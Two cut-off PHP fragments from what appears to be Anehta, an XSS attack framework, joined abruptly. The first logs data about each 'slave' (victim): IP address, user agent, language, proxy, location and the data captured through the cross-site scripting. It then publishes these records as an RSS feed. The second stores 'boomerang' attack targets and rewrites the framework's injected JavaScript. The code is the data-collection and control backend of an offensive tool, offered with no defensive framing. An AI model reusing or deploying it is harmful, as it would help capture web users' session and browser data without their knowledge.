$tmp = explode("\r\n]]>\r\n", $tmp[1]); $requestURI = $tmp[0]; $tmp = explode("/", $tmp[0]); // 切分uri $xssDomain = $tmp[2]; $tmp = ""; //$getData = XML_unserialize($test); //print_r($getData); /******************************************************* * 开始存储数据到xml文件 ********************************************************/ $fpath = "../slave/slave.xml"; $slaveData = new OpXML('slaveData', $fpath); //增加一条记录 $arr = array('requestDate' => $requestDate, 'slaveWatermark' => $slaveWatermark, 'slaveIP' => $slaveIP, 'slaveUA' => $slaveUA, 'slaveLang' => $slaveLang, 'slaveProxy' => $slaveProxy, 'slaveLocation' => $slaveLocation, 'xssGot' => $qstr); $slaveData->insert($arr); /******************************************************* * 生成rss feed ********************************************************/ $myFeed = new RSSFeed(); $myFeed->addChannel("Anehta!", "http://anehta.googlecode.com", "Anehta Slave Events!", "zh-cn"); // 下面去掉$qstr 里的 "<![CDATA["和 "]]>" $qstr = str_replace("\r\n<![CDATA[\r\n", "", $qstr); $qstr = str_replace("\r\n]]>\r\n", "", $qstr); /** * Encodes HTML safely for UTF-8. Use instead of htmlentities. * * @param string $var * @return string */ function html_encode($var)
//增加一条记录 $arr = array('homepage' => 'http://anehta.googlecode.com', 'author' => 'axis', 'blog' => 'http://hi.baidu.com/aullik5', 'team' => 'http://www.ph4nt0m.org'); $anehtaConfig->updateRecordById(1, $arr); // 根据提交的配置信息插入xml文件 if ($anehtaurl != "" && $boomerangtarget != "" && $boomerangsrc != "") { $arr = array('anehtaurl' => $anehtaurl, 'boomerangtarget' => $boomerangtarget, 'boomerangsrc' => $boomerangsrc); } else { echo "Please complete the configure!"; exit; } if ($anehtaConfig->getRecordById(2)) { // 有记录则更新 $anehtaConfig->updateRecordById(2, $arr); } else { // 没有则插入 $anehtaConfig->insert($arr); } } //读取配置 $config = $anehtaConfig->getRecordById(2); reset($config); while (list($key, $val) = each($config)) { $val = htmlspecialchars(base64_decode($val)); echo "<b>{$key}</b> => {$val}<br />"; } //更新配置文件 //更新anehtaurl 在 anehta.js feed.js clx.js中 $write_anehtaurl = base64_decode($config["anehtaurl"]); //unlink("../library/anehta.js"); $anehta_raw = file_get_contents("../library/anehta_raw"); $fp = fopen("../library/anehta.js", "w+");